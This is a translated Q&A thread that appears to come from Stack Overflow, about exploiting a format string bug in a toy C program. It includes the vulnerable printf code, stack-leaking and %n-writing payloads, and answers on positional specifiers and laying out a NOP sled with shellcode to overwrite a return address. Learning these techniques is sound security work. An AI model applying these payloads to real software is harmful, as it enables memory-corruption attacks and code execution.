覆盖返回地址简单格式字符串漏洞利用

时间:2014-01-16 12:49:04

标签: c exploit memory-layout

是的,已经存在相当多的类似问题(5037601,19166698,4855162,14505995,5052648,13409508,7745146,7459630;对不起,超过2个链接的代表不够),是的,有一些很好的文章解释这种事情(clickclick,http://codearcana.com/posts/2013/05/02/introduction-to-format-string-exploits.html)。我已经阅读了它们,我认为我得到了一般的想法,但我仍然成功地利用了我能想到的最简单的训练玩具示例。

#include <stdio.h>

void f(char* a)
{
    printf("a: %p\n", &a);
    printf(a);
    return;
}

void main(int argc, char** argv)
{
    f(argv[1]); //please ignore the lack of any check
    return;
}

是的,堆栈是可执行的,是的,内存布局随机化被禁用。每次执行都给我a的相同地址。我可以为它$ ruby -e 'print "AAAA"+("%08x."*16)'提供它,结果是:

a: 0xbfffece0
AAAAbfffece0.bfffecf0.b7fd7ff4.00000000.00000000.bffffcf8.080484b0.bfffecf0.00000fff.b7fd8420.00000000.41414141.78383025.3830252e.30252e78.252e7838.

所以现在我可以看到我的输入最终在内存中。我可以使用$ ruby -e 'print "12345%n"+("%08x."*16)'将值写入堆栈,结果如下:

a: 0xbfffece0
12345bfffecf0.b7fd7ff4.00000000.00000000.bffffcf8.080484b0.00000005.00000fff.b7fd8420.00000000.34333231.256e2535.2e783830.78383025.3830252e.30252e78.

显然,我的最终目标可能是<something><NOPs><shellcode>,其中<something>会覆盖f的返回地址,以便程序跳转到NOP底座并执行shellcode。但保存的返回地址的地址现在似乎取决于我的输入,对吧?类似于0xbfffece0 - len(input) - 12的东西,假设一个12字节的序言?也许这个例子毕竟不是最简单的......

我感到困惑。有什么想法吗?

2 个答案:

答案 0 :(得分:1)

另一个想法是使用&#34; dolor sign&#34; %<distance>$n

引用linux的printf联机帮助页:

  

也可以          在每个地方明确指定采用哪个参数          通过写&#34;%m $&#34;需要参数。十进制整数m表示位置          所需参数的参数列表,从1开始索引。   Source

示例: %5$n会从堆栈顶部写入第5个地址。

答案 1 :(得分:0)

我建议您使用一长串'%08x'格式字符来确定输入中正确的'%n'值,以便覆盖返回地址。

12345%n%08x%08x%08x%08x........%08x%08x

接下来,您可以修改输入,用NOP sled + shellcode替换'%08x'字符串的一部分,保持输入的长度相同。

12345%n\x90\x90\x90\x90...\x90\x90SHELLCODE

(根据需要修改上面的%n格式说明符以写入正确的值)

这将确保输入的大小,因此保存的返回地址的位置保持不变。